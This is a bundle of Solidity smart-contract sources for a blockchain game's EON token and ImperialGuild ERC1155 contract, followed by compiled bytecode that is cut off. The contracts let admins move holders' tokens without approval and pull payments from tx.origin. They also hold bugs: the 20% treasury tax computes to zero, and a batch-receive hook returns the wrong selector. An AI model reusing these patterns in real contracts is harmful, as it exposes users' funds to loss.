require(admins[msg.sender], "Only admins can mint"); minted += amount; _mint(to, amount); } /** * burns $EON from a holder * @param from the holder of the $EON * @param amount the amount of $EON to burn */ function burn(address from, uint256 amount) external override { require(admins[msg.sender], "Only admins"); _burn(from, amount); } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override(ERC20, IEON) returns (bool) { // caught yah require( admins[msg.sender] || lastWrite[sender] < block.number, "hmmmm what are you doing?" ); // If the entity invoking this transfer is an admin (i.e. the gameContract) // allow the transfer without approval. This saves gas and a transaction. // The sender address will still need to actually have the amount being attempted to send. if (admins[msg.sender]) { // NOTE: This will omit any events from being written. This saves additional gas, // and the event emission is not a requirement by the EIP // (read this function summary / ERC20 summary for more details) emit Transfer(sender, recipient, amount); return true; } // If it's not an admin entity (Shattered EON contract, pytheas, refinery. etc) // The entity will need to be given permission to transfer these funds // For instance, someone can't just make a contract and siphon $EON from every account return super.transferFrom(sender, recipient, amount); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity >=0.8.0; /// @notice Minimalist and gas efficient standard ERC1155 implementation. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC1155.sol) abstract contract ERC1155 { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event TransferSingle( address indexed operator, address indexed from, address indexed to, uint256 id, uint256 amount ); event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] amounts ); event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); event URI(string value, uint256 indexed id); /*/////////////////////////////////////////////////////////////// ERC1155 STORAGE //////////////////////////////////////////////////////////////*/ mapping(address => mapping(uint256 => uint256)) public balanceOf; mapping(address => mapping(address => bool)) public isApprovedForAll; /*/////////////////////////////////////////////////////////////// METADATA LOGIC //////////////////////////////////////////////////////////////*/ function uri(uint256 id) public view virtual returns (string memory); /*/////////////////////////////////////////////////////////////// ERC1155 LOGIC //////////////////////////////////////////////////////////////*/ function setApprovalForAll(address operator, bool approved) public virtual { isApprovedForAll[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } function isApproved(address account, address operator) public view virtual returns (bool) { return isApprovedForAll[account][operator]; } function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual { require( msg.sender == from || isApprovedForAll[from][msg.sender], "NOT_AUTHORIZED" ); balanceOf[from][id] -= amount; balanceOf[to][id] += amount; emit TransferSingle(msg.sender, from, to, id, amount); require( to.code.length == 0 ? to != address(0) : ERC1155TokenReceiver(to).onERC1155Received( msg.sender, from, id, amount, data ) == ERC1155TokenReceiver.onERC1155Received.selector, "UNSAFE_RECIPIENT" ); } function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual { uint256 idsLength = ids.length; // Saves MLOADs. require(idsLength == amounts.length, "LENGTH_MISMATCH"); require( msg.sender == from || isApprovedForAll[from][msg.sender], "NOT_AUTHORIZED" ); for (uint256 i = 0; i < idsLength; ) { uint256 id = ids[i]; uint256 amount = amounts[i]; balanceOf[from][id] -= amount; balanceOf[to][id] += amount; // An array can't have a total length // larger than the max uint256 value. unchecked { i++; } } emit TransferBatch(msg.sender, from, to, ids, amounts); require( to.code.length == 0 ? to != address(0) : ERC1155TokenReceiver(to).onERC1155BatchReceived( msg.sender, from, ids, amounts, data ) == ERC1155TokenReceiver.onERC1155BatchReceived.selector, "UNSAFE_RECIPIENT" ); } function balanceOfBatch(address[] memory owners, uint256[] memory ids) public view virtual returns (uint256[] memory balances) { uint256 ownersLength = owners.length; // Saves MLOADs. require(ownersLength == ids.length, "LENGTH_MISMATCH"); balances = new uint256[](owners.length); // Unchecked because the only math done is incrementing // the array index counter which cannot possibly overflow. unchecked { for (uint256 i = 0; i < ownersLength; i++) { balances[i] = balanceOf[owners[i]][ids[i]]; } } } /*/////////////////////////////////////////////////////////////// ERC165 LOGIC //////////////////////////////////////////////////////////////*/ function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) { return interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165 interfaceId == 0xd9b67a26 || // ERC165 Interface ID for ERC1155 interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI } /*/////////////////////////////////////////////////////////////// INTERNAL MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal { balanceOf[to][id] += amount; emit TransferSingle(msg.sender, address(0), to, id, amount); require( to.code.length == 0 ? to != address(0) : ERC1155TokenReceiver(to).onERC1155Received( msg.sender, address(0), id, amount, data ) == ERC1155TokenReceiver.onERC1155Received.selector, "UNSAFE_RECIPIENT" ); } function _batchMint( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal { uint256 idsLength = ids.length; // Saves MLOADs. require(idsLength == amounts.length, "LENGTH_MISMATCH"); for (uint256 i = 0; i < idsLength; ) { balanceOf[to][ids[i]] += amounts[i]; // An array can't have a total length // larger than the max uint256 value. unchecked { i++; } } emit TransferBatch(msg.sender, address(0), to, ids, amounts); require( to.code.length == 0 ? to != address(0) : ERC1155TokenReceiver(to).onERC1155BatchReceived( msg.sender, address(0), ids, amounts, data ) == ERC1155TokenReceiver.onERC1155BatchReceived.selector, "UNSAFE_RECIPIENT" ); } function _batchBurn( address from, uint256[] memory ids, uint256[] memory amounts ) internal { uint256 idsLength = ids.length; // Saves MLOADs. require(idsLength == amounts.length, "LENGTH_MISMATCH"); for (uint256 i = 0; i < idsLength; ) { balanceOf[from][ids[i]] -= amounts[i]; // An array can't have a total length // larger than the max uint256 value. unchecked { i++; } } emit TransferBatch(msg.sender, from, address(0), ids, amounts); } function _burn( address from, uint256 id, uint256 amount ) internal { balanceOf[from][id] -= amount; emit TransferSingle(msg.sender, from, address(0), id, amount); } } /// @notice A generic interface for a contract which properly accepts ERC1155 tokens. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC1155.sol) interface ERC1155TokenReceiver { function onERC1155Received( address operator, address from, uint256 id, uint256 amount, bytes calldata data ) external returns (bytes4); function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity >=0.8.0; /// @notice Modern and gas efficient ERC20 + EIP-2612 implementation. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol) /// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol) /// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it. abstract contract ERC20 { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 amount); event Approval( address indexed owner, address indexed spender, uint256 amount ); /*/////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public name; string public symbol; uint8 public immutable decimals; /*/////////////////////////////////////////////////////////////// ERC20 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; /*/////////////////////////////////////////////////////////////// EIP-2612 STORAGE //////////////////////////////////////////////////////////////*/ bytes32 public constant PERMIT_TYPEHASH = keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ); uint256 internal immutable INITIAL_CHAIN_ID; bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR; mapping(address => uint256) public nonces; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor( string memory _name, string memory _symbol, uint8 _decimals ) { name = _name; symbol = _symbol; decimals = _decimals; INITIAL_CHAIN_ID = block.chainid; INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator(); } /*/////////////////////////////////////////////////////////////// ERC20 LOGIC //////////////////////////////////////////////////////////////*/ function approve(address spender, uint256 amount) public virtual returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { balanceOf[msg.sender] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(from, to, amount); return true; } /*/////////////////////////////////////////////////////////////// EIP-2612 LOGIC //////////////////////////////////////////////////////////////*/ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual { require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); // Unchecked because the only math done is incrementing // the owner's nonce which cannot realistically overflow. unchecked { bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline ) ) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require( recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER" ); allowance[recoveredAddress][spender] = value; } emit Approval(owner, spender, value); } function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator(); } function computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /*/////////////////////////////////////////////////////////////// INTERNAL MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 amount) internal virtual { totalSupply += amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal virtual { balanceOf[from] -= amount; // Cannot underflow because a user's balance // will never be larger than the total supply. unchecked { totalSupply -= amount; } emit Transfer(from, address(0), amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./interfaces/IERC1155TokenReceiver.sol"; import "./interfaces/IImperialGuild.sol"; import "./interfaces/IEON.sol"; import "./interfaces/IRAW.sol"; import "./ERC1155.sol"; import "./EON.sol"; contract ImperialGuild is IImperialGuild, IERC1155TokenReceiver, ERC1155, Pausable { using Strings for uint256; // struct to store each trait's data for metadata and rendering struct Image { string name; string png; } struct TypeInfo { uint16 mints; uint16 burns; uint16 maxSupply; uint256 eonExAmt; uint256 secExAmt; } struct LastWrite { uint64 time; uint64 blockNum; } // hardcoded tax % to the Imperial guild, collected from shard and onosia purchases // to be used in game at a later time uint256 public constant ImperialGuildTax = 20; // multiplier for eon exchange amount uint256 public constant multiplier = 10**18; // payments for shards and onosia will collect in this contract until // an owner withdraws, at which point the tax % above will be sent to the // treasury and the remainder will be burnt *see withdraw address private ImperialGuildTreasury; address public auth; // Tracks the last block and timestamp that a caller has written to state. // Disallow some access to functions if they occur while a change is being written. mapping(address => LastWrite) private lastWrite; mapping(uint256 => TypeInfo) private typeInfo; // storage of each image data mapping(uint256 => Image) public traitData; // address => allowedToCallFunctions mapping(address => bool) private admins; IEON public eon; // reference to the raw contract for processing payments in raw eon or other // raw materials IRAW public raw; EON public eonToken; constructor() { auth = msg.sender; admins[msg.sender] = true; } modifier onlyOwner() { require(msg.sender == auth); _; } /** CRITICAL TO SETUP */ modifier requireContractsSet() { require(address(eon) != address(0), "Contracts not set"); _; } function setContracts(address _eon, address _raw) external onlyOwner { eon = IEON(_eon); raw = IRAW(_raw); eonToken = EON(_eon); } /** * Mint a token - any payment / game logic should be handled in the DenOfAlgol contract. * ATENTION- PaymentId "0" is reserved for EON only!! * All other paymentIds point to the RAW contract ID */ function mint( uint256 typeId, uint256 paymentId, uint16 qty, address recipient ) external override whenNotPaused { require(admins[msg.sender], "Only admins can call this"); require( typeInfo[typeId].mints + qty <= typeInfo[typeId].maxSupply, "All tokens minted" ); // all payments will be transferred to this contract //this allows the hardcoded ImperialGuild tax that will be used in future additions to shatteredEON to be withdrawn. At the time of withdaw the balance of this contract will be burnt - the tax amount. if (paymentId == 0) { eon.transferFrom( tx.origin, address(this), typeInfo[typeId].eonExAmt * qty ); } else { raw.safeTransferFrom( tx.origin, address(this), paymentId, typeInfo[typeId].secExAmt * qty, "" ); } typeInfo[typeId].mints += qty; _mint(recipient, typeId, qty, ""); } /** * Burn a token - any payment / game logic should be handled in the game contract. */ function burn( uint256 typeId, uint16 qty, address burnFrom ) external override whenNotPaused { require(admins[msg.sender], "Only admins can call this"); typeInfo[typeId].burns += qty; _burn(burnFrom, typeId, qty); } function handlePayment(uint256 amount) external override whenNotPaused { require(admins[msg.sender], "Only admins can call this"); eon.transferFrom(tx.origin, address(this), amount); } // used to create new erc1155 typs from the Imperial guild // ATTENTION - Type zero is reserved to not cause conflicts function setType(uint256 typeId, uint16 maxSupply) external onlyOwner { require(typeInfo[typeId].mints <= maxSupply, "max supply too low"); typeInfo[typeId].maxSupply = maxSupply; } // store exchange rates for new erc1155s for both EON and/or // any raw resource function setExchangeAmt( uint256 typeId, uint256 exchangeAmt, uint256 secExchangeAmt ) external onlyOwner { require( typeInfo[typeId].maxSupply > 0, "this type has not been set up" ); typeInfo[typeId].eonExAmt = exchangeAmt; typeInfo[typeId].secExAmt = secExchangeAmt; } /** * enables an address to mint / burn * @param addr the address to enable */ function addAdmin(address addr) external onlyOwner { admins[addr] = true; } /** * disables an address from minting / burning * @param addr the address to disbale */ function removeAdmin(address addr) external onlyOwner { admins[addr] = false; } function setPaused(bool _paused) external onlyOwner requireContractsSet { if (_paused) _pause(); else _unpause(); } // owner call to withdraw this contracts EON balance * 20% // to the Imperial guild treasury, the remainder is then burned function withdrawEonAndBurn() external onlyOwner { uint256 guildAmt = eonToken.balanceOf(address(this)) * (ImperialGuildTax / 100); uint256 amtToBurn = eonToken.balanceOf(address(this)) - guildAmt; eonToken.transferFrom(address(this), ImperialGuildTreasury, guildAmt); eonToken.burn(address(this), amtToBurn); } // owner function to withdraw this contracts raw resource balance * 20% // to the Imperial guild treasury, the remainder is then burned function withdrawRawAndBurn(uint16 id) external onlyOwner { uint256 rawBalance = raw.getBalance(address(this), id); uint256 guildAmt = rawBalance * (ImperialGuildTax / 100); uint256 amtToBurn = rawBalance - guildAmt; raw.safeTransferFrom( address(this), ImperialGuildTreasury, id, guildAmt, "" ); raw.burn(id, amtToBurn, address(this)); } // owner function to set the Imperial guild treasury address function setTreasuries(address _treasury) external onlyOwner { ImperialGuildTreasury = _treasury; } // external function to recieve information on a given // ERC1155 from the ImperialGuild function getInfoForType(uint256 typeId) external view returns (TypeInfo memory) { require(typeInfo[typeId].maxSupply > 0, "invalid type"); return typeInfo[typeId]; } // ERC1155 token uri and renders for the on chain metadata function uri(uint256 typeId) public view override returns (string memory) { require(typeInfo[typeId].maxSupply > 0, "invalid type"); Image memory img = traitData[typeId]; string memory metadata = string( abi.encodePacked( '{"name": "', img.name, '", "description": "The Guild Lords of Pytheas are feared for their ruthless cunning and enterprising technological advancements. They alone have harnessed the power of a dying star to power a man made planet that processes EON. Rumor has it that they also dabble in the shadows as a black market dealer of hard to find artifacts and might entertain your offer for the right price, but be sure to tread lightly as they control every aspect of the economy in this star system. You would be a fool to arrive empty handed in any negotiation with them. All the metadata and images are generated and stored 100% on-chain. No IPFS. NO API. Just the Ethereum blockchain.", "image": "data:image/svg+xml;base64,', base64(bytes(drawSVG(typeId))), '", "attributes": []', "}" ) ); return string( abi.encodePacked( "data:application/json;base64,", base64(bytes(metadata)) ) ); } function uploadImage(uint256 typeId, Image calldata image) external onlyOwner { traitData[typeId] = Image(image.name, image.png); } function drawImage(Image memory image) internal pure returns (string memory) { return string( abi.encodePacked( '<image x="0" y="0" width="64" height="64" image-rendering="pixelated" preserveAspectRatio="xMidYMid" xlink:href="data:image/png;base64,', image.png, '"/>' ) ); } function drawSVG(uint256 typeId) internal view returns (string memory) { string memory svgString = string( abi.encodePacked(drawImage(traitData[typeId])) ); return string( abi.encodePacked( '<svg id="ImperialGuild" width="100%" height="100%" version="1.1" viewBox="0 0 64 64" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">', svgString, "</svg>" ) ); } function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override(ERC1155, IImperialGuild) { // allow admin contracts to send without approval if (!admins[msg.sender]) { require( msg.sender == from || isApprovedForAll[from][msg.sender], "NOT_AUTHORIZED" ); } balanceOf[from][id] -= amount; balanceOf[to][id] += amount; emit TransferSingle(msg.sender, from, to, id, amount); require( to.code.length == 0 ? to != address(0) : ERC1155TokenReceiver(to).onERC1155Received( msg.sender, from, id, amount, data ) == ERC1155TokenReceiver.onERC1155Received.selector, "UNSAFE_RECIPIENT" ); } function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override(ERC1155, IImperialGuild) { // allow admin contracts to send without approval uint256 idsLength = ids.length; // Saves MLOADs. require(idsLength == amounts.length, "LENGTH_MISMATCH"); // allow admin contracts to send without approval if (!admins[msg.sender]) { require( msg.sender == from || isApprovedForAll[from][msg.sender], "NOT_AUTHORIZED" ); } for (uint256 i = 0; i < idsLength; ) { uint256 id = ids[i]; uint256 amount = amounts[i]; balanceOf[from][id] -= amount; balanceOf[to][id] += amount; // An array can't have a total length // larger than the max uint256 value. unchecked { i++; } } emit TransferBatch(msg.sender, from, to, ids, amounts); require( to.code.length == 0 ? to != address(0) : ERC1155TokenReceiver(to).onERC1155BatchReceived( msg.sender, from, ids, amounts, data ) == ERC1155TokenReceiver.onERC1155BatchReceived.selector, "UNSAFE_RECIPIENT" ); } function getBalance(address account, uint256 id) public view returns (uint256) { return ERC1155(address(this)).balanceOf(account, id); } function onERC1155Received( address, address, uint256, uint256, bytes calldata ) external pure override returns (bytes4) { return IERC1155TokenReceiver.onERC1155Received.selector; } function onERC1155BatchReceived( address, address, uint256[] calldata, uint256[] calldata, bytes calldata ) external pure override returns (bytes4) { return IERC1155TokenReceiver.onERC1155Received.selector; } function supportsInterface(bytes4 interfaceId) public pure override returns (bool) { return interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165 interfaceId == 0xd9b67a26 || // ERC165 Interface ID for ERC1155 interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI } /** BASE 64 - Written by Brech Devos */ string internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; function base64(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ""; // load the table into memory string memory table = TABLE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for { } lt(dataPtr, endPtr) { } { dataPtr := add(dataPtr, 3) // read 3 bytes let input := mload(dataPtr) // write 4 characters mstore( resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))) ) resultPtr := add(resultPtr, 1) mstore( resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))) ) resultPtr := add(resultPtr, 1) mstore( resultPtr, shl(248, mload(add(tablePtr, and(shr(6, input), 0x3F)))) ) resultPtr := add(resultPtr, 1) mstore( resultPtr, shl(248, mload(add(tablePtr, and(input, 0x3F)))) ) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } // For OpenSeas function owner() public view virtual returns (address) { return auth; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IEON { function mint(address to, uint256 amount) external; function burn(address from, uint256 amount) external; function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } // SPDX-License-Identifier: MIT LICENSE pragma solidity >=0.8.0; interface IERC1155TokenReceiver { function onERC1155Received( address operator, address from, uint256 id, uint256 amount, bytes calldata data ) external returns (bytes4); function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; interface IImperialGuild { function getBalance( address account, uint256 id ) external returns(uint256); function mint( uint256 typeId, uint256 paymentId, uint16 qty, address recipient ) external; function burn( uint256 typeId, uint16 qty, address burnFrom ) external; function handlePayment(uint256 amount) external; function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) external; function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) external; } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; interface IRAW { function getBalance( address account, uint256 id ) external returns(uint256); function mint( uint256 typeId, uint256 qty, address recipient ) external; function burn( uint256 typeId, uint256 qty, address burnFrom ) external; function updateMintBurns( uint256 typeId, uint256 mintQty, uint256 burnQty ) external; function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) external; function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) external; }
0x608060405234801561001057600080fd5b50600436106102405760003560e01c806399dad9a011610145578063c8122729116100bd578063e79df0d11161008c578063f23a6e6111610071578063f23a6e6114610558578063f242432a14610578578063f6bb451f1461058b57600080fd5b8063e79df0d114610517578063e985e9c51461052a57600080fd5b8063c8122729146104cb578063d8952a49146104de578063de9375f2146104f1578063e3b47b2c1461050457600080fd5b8063b120f5ed11610114578063bc197c81116100f9578063bc197c8114610481578063bd7b3f54146104b0578063c096a632146104b857600080fd5b8063b120f5ed1461044e578063b4c025d91461046e57600080fd5b806399dad9a0146103cc5780639ca0f29b146103df578063a22cb465146103ff578063a389783e1461041257600080fd5b80632b04e840116101d857806365c550cb116101a75780637d26c78c1161018c5780637d26c78c14610397578063850f98b6146103aa5780638da5cb5b146103b257600080fd5b806365c550cb14610371578063704802751461038457600080fd5b80632b04e840146103205780632eb2c2d6146103335780634e1273f4146103465780635c975abb1461036657600080fd5b8063165a816211610214578063165a8162146102d857806316c38b3c146102eb5780631785f53c146102fe5780631b3ed7221461031157600080fd5b8062fdd58e1461024557806301ffc9a71461028357806306e7b953146102a35780630e89341c146102b8575b600080fd5b61026d610253366004612329565b600060208181529281526040808220909352908152205481565b60405161027a919061236e565b60405180910390f35b610296610291366004612397565b6105ac565b60405161027a91906123c8565b6102b66102b13660046123eb565b610649565b005b6102cb6102c636600461243b565b6106fd565b60405161027a91906124ba565b6102b66102e63660046124cb565b6108de565b6102b66102f9366004612524565b610949565b6102b661030c366004612545565b6109a1565b61026d670de0b6b3a764000081565b61026d61032e366004612329565b6109d9565b6102b6610341366004612702565b610a60565b61035961035436600461283e565b610cff565b60405161027a9190612904565b60025460ff16610296565b6102b661037f36600461243b565b610e0b565b6102b6610392366004612545565b610ef1565b6102b66103a5366004612930565b610f2c565b61026d601481565b6003546001600160a01b03165b60405161027a9190612987565b6102b66103da366004612995565b61101b565b6103f26103ed36600461243b565b6111fd565b60405161027a9190612a18565b6102b661040d366004612a26565b6112bd565b610296610420366004612a59565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205460ff1690565b600a54610461906001600160a01b031681565b60405161027a9190612ace565b6102b661047c366004612adc565b61132c565b6104a361048f366004612bdd565b63f23a6e6160e01b98975050505050505050565b60405161027a9190612cc3565b6102b661155e565b600954610461906001600160a01b031681565b6102b66104d9366004612cd1565b6117c9565b6102b66104ec366004612a59565b61185f565b6003546103bf906001600160a01b031681565b6102b6610512366004612545565b6118ce565b600854610461906001600160a01b031681565b610296610538366004612a59565b600160209081526000928352604080842090915290825290205460ff1681565b6104a3610566366004612d04565b63f23a6e6160e01b9695505050505050565b6102b6610586366004612d9a565b611924565b61059e61059936600461243b565b611b18565b60405161027a929190612df4565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b03198316148061060f57507fd9b67a26000000000000000000000000000000000000000000000000000000006001600160e01b03198316145b8061064357507f0e89341c000000000000000000000000000000000000000000000000000000006001600160e01b03198316145b92915050565b60025460ff16156106755760405162461bcd60e51b815260040161066c90612e4b565b60405180910390fd5b3360009081526007602052604090205460ff166106a45760405162461bcd60e51b815260040161066c90612e8d565b600083815260056020526040902080548391906002906106cf90849062010000900461ffff16612eb3565b92506101000a81548161ffff021916908361ffff1602179055506106f881848461ffff16611c44565b505050565b600081815260056020526040902054606090640100000000900461ffff166107375760405162461bcd60e51b815260040161066c90612f0e565b600082815260066020526040808220815180830190925280548290829061075d90612f34565b80601f016020809104026020016040519081016040528092919081815260200182805461078990612f34565b80156107d65780601f106107ab576101008083540402835291602001916107d6565b820191906000526020600020905b8154815290600101906020018083116107b957829003601f168201915b505050505081526020016001820180546107ef90612f34565b80601f016020809104026020016040519081016040528092919081815260200182805461081b90612f34565b80156108685780601f1061083d57610100808354040283529160200191610868565b820191906000526020600020905b81548152906001019060200180831161084b57829003601f168201915b50505050508152505090506000816000015161088b61088686611cc9565b611e60565b60405160200161089c929190612f7d565b60405160208183030381529060405290506108b681611e60565b6040516020016108c69190613361565b60405160208183030381529060405292505050919050565b6003546001600160a01b031633146108f557600080fd5b600083815260056020526040902054640100000000900461ffff1661092c5760405162461bcd60e51b815260040161066c906133c3565b600092835260056020526040909220600181019190915560020155565b6003546001600160a01b0316331461096057600080fd5b6008546001600160a01b03166109885760405162461bcd60e51b815260040161066c90613405565b80156109995761099661201d565b50565b61099661208c565b6003546001600160a01b031633146109b857600080fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b6040517efdd58e000000000000000000000000000000000000000000000000000000008152600090309062fdd58e90610a189086908690600401613415565b602060405180830381865afa158015610a35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a59919061343b565b9392505050565b825182518114610a825760405162461bcd60e51b815260040161066c9061348e565b3360009081526007602052604090205460ff16610aef57336001600160a01b0387161480610ad357506001600160a01b038616600090815260016020908152604080832033845290915290205460ff165b610aef5760405162461bcd60e51b815260040161066c906134d0565b60005b81811015610bc4576000858281518110610b0e57610b0e6134e0565b602002602001015190506000858381518110610b2c57610b2c6134e0565b60200260200101519050806000808b6001600160a01b03166001600160a01b0316815260200190815260200160002060008481526020019081526020016000206000828254610b7b91906134f6565b90915550506001600160a01b03881660009081526020818152604080832085845290915281208054839290610bb190849061350d565b909155505060019092019150610af29050565b50846001600160a01b0316866001600160a01b0316336001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051610c14929190613520565b60405180910390a46001600160a01b0385163b15610cce576040517fbc197c8100000000000000000000000000000000000000000000000000000000808252906001600160a01b0387169063bc197c8190610c7b9033908b908a908a908a90600401613545565b6020604051808303816000875af1158015610c9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cbe91906135b0565b6001600160e01b03191614610cdb565b6001600160a01b03851615155b610cf75760405162461bcd60e51b815260040161066c90613603565b505050505050565b81518151606091908114610d255760405162461bcd60e51b815260040161066c9061348e565b835167ffffffffffffffff811115610d3f57610d3f612566565b604051908082528060200260200182016040528015610d68578160200160208202803683370190505b50915060005b81811015610e0357600080868381518110610d8b57610d8b6134e0565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206000858381518110610dc757610dc76134e0565b6020026020010151815260200190815260200160002054838281518110610df057610df06134e0565b6020908102919091010152600101610d6e565b505092915050565b60025460ff1615610e2e5760405162461bcd60e51b815260040161066c90612e4b565b3360009081526007602052604090205460ff16610e5d5760405162461bcd60e51b815260040161066c90612e8d565b6008546040517f23b872dd0000000000000000000000000000000000000000000000000000000081526001600160a01b03909116906323b872dd90610eaa90329030908690600401613613565b6020604051808303816000875af1158015610ec9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eed9190613646565b5050565b6003546001600160a01b03163314610f0857600080fd5b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b6003546001600160a01b03163314610f4357600080fd5b6040805180820190915280610f588380613667565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250505090825250602090810190610fa190840184613667565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092018290525093909452505084815260066020908152604090912083518051919350610ffb92849291019061224f565b506020828101518051611014926001850192019061224f565b5050505050565b6003546001600160a01b0316331461103257600080fd5b6009546040517f2b04e8400000000000000000000000000000000000000000000000000000000081526000916001600160a01b031690632b04e8409061107e90309086906004016136f3565b6020604051808303816000875af115801561109d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c1919061343b565b905060006110d160646014613724565b6110db9083613738565b905060006110e982846134f6565b6009546002546040517ff242432a0000000000000000000000000000000000000000000000000000000081529293506001600160a01b039182169263f242432a926111469230926101009091049091169089908890600401613757565b600060405180830381600087803